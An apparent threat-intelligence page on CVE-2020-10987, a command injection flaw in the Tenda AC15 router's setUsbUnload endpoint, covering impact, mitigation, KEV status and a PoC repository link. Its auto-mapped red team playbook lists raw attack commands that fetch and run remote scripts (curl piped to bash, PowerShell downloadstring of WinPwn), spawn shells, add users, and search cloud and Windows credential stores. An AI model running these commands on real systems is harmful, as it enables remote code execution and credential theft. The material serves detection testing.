CVE-2020-10987
Overview
This vulnerability is a command injection flaw rooted in improper input validation of the deviceName parameter within the goform/setUsbUnload endpoint of the Tenda AC15 AC1900 router firmware version 15.03.05.19. The affected component fails to sanitize user-supplied POST data, allowing injection of arbitrary system commands. The flaw resides specifically in the web management interface's USB unload functionality, enabling unfiltered command execution on the underlying operating system.
Vulnerability Description
The goform/setUsbUnload endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute arbitrary system commands via the deviceName POST parameter.
Impact
An unauthenticated attacker can leverage this vulnerability to execute arbitrary system commands on the affected router, potentially gaining full control over the device. This enables unauthorized access to network configurations, interception or modification of traffic, and lateral movement within the network environment. The attacker does not require any user interaction or credentials, increasing the risk of widespread compromise of the Tenda AC15 AC1900 router and connected network assets.
Solution
Users should upgrade the Tenda AC15 AC1900 router firmware to a version later than 15.03.05.19 once available. Refer to the vendor’s official advisory and patch instructions at https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68 for detailed remediation steps. Until a patch is applied, disabling remote management or restricting access to the web interface can mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Tenda AC15 AC1900 router firmware allows for remote command execution through improper handling of user input in the goform/setUsbUnload endpoint. Specifically, the flaw arises from the deviceName POST parameter, which does not adequately sanitize input. This oversight permits an attacker to inject arbitrary system commands, leading to unauthorized access and control over the affected device. The high CVSS score of 9.8 indicates the severity of this vulnerability, making it critical for organizations utilizing this router model to be aware of the risks involved.
Attack vectors for exploiting this vulnerability are relatively straightforward. An attacker can leverage the exposed endpoint by crafting a malicious POST request that includes specially formatted input in the deviceName parameter. This could be done remotely over the internet, making it accessible to anyone who can reach the router's management interface. Once the attacker successfully executes commands on the router, they could manipulate the device's configuration, extract sensitive information, or even pivot to other devices on the same network. Scenarios could range from a simple denial of service to more sophisticated attacks that compromise the integrity and confidentiality of the entire network.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on the Tenda AC15 AC1900 for their networking needs. If exploited, an attacker could gain access to sensitive data, disrupt business operations, or use the compromised device as a launching point for further attacks. The potential for data breaches and the associated financial and reputational damage could be severe. Furthermore, organizations may face regulatory scrutiny and legal consequences if customer data is exposed due to inadequate security measures. The risk is compounded by the fact that many users may not regularly update their router firmware, leaving them vulnerable to known exploits.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular monitoring of network traffic for unusual patterns or unauthorized access attempts can help identify potential exploitation attempts. Additionally, employing intrusion detection systems (IDS) can provide alerts when suspicious activity is detected. Organizations should also ensure that their Tenda AC15 routers are running the latest firmware version, as manufacturers often release patches to address known vulnerabilities. Furthermore, restricting access to the router's management interface by implementing strong authentication mechanisms and limiting exposure to the internet can significantly reduce the risk of exploitation.
In conclusion, the vulnerability in the Tenda AC15 AC1900 router firmware poses a serious threat to both individual users and organizations. The ability for remote attackers to execute arbitrary commands can lead to severe consequences, including data breaches and operational disruptions. By understanding the technical details, potential attack vectors, and real-world implications of this vulnerability, organizations can take proactive steps to safeguard their networks. Implementing robust detection and mitigation strategies is essential to protect against such vulnerabilities and ensure the integrity of their systems.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the CVE-2020-10987 vulnerability in the Tenda AC15 AC1900 router. Although the EPSS score has slightly decreased, indicating a modest reduction in overall exploit probability, our telemetry reveals a sharp increase in detection activity, suggesting renewed attacker interest or opportunistic scanning campaigns. The emergence of a new proof-of-concept exploit hosted on a public repository further lowers the barrier for threat actors to weaponize this vulnerability, potentially accelerating its exploitation in the wild. This development is significant for defenders as it signals a shift from theoretical risk to more active exploitation, increasing the urgency for monitoring and response. While ransomware usage linked to this vulnerability remains unknown, the increased exploitation activity elevates the threat level from latent to actively targeted, warranting heightened vigilance in environments where the affected firmware is deployed.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Tenda | Ac15 Firmware | 15.03.05.19 |
cpe:2.3:o:tenda:ac15_firmware:15.03.05.19:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Jaden-Bowers/Tenda-Router-VR-and-Exploit
Writeup for Tenda AC15 router firmware rehosting and remote command execution (CVE-2020-10987) exploit replication.
|
Jaden-Bowers | 0 | 1 | 2025-10-23 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
55%
|
High | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-10987 |
| ise.io |
GitHub CVE
x_refsource_MISC
|
https://www.ise.io/research/ |
| blog.securityevaluators.com |
GitHub CVE
x_refsource_MISC
|
https://blog.securityevaluators.com/tenda-ac1900-vulnerabilities-discovered-and-exploited-e8e26aa0bc68 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-10987 |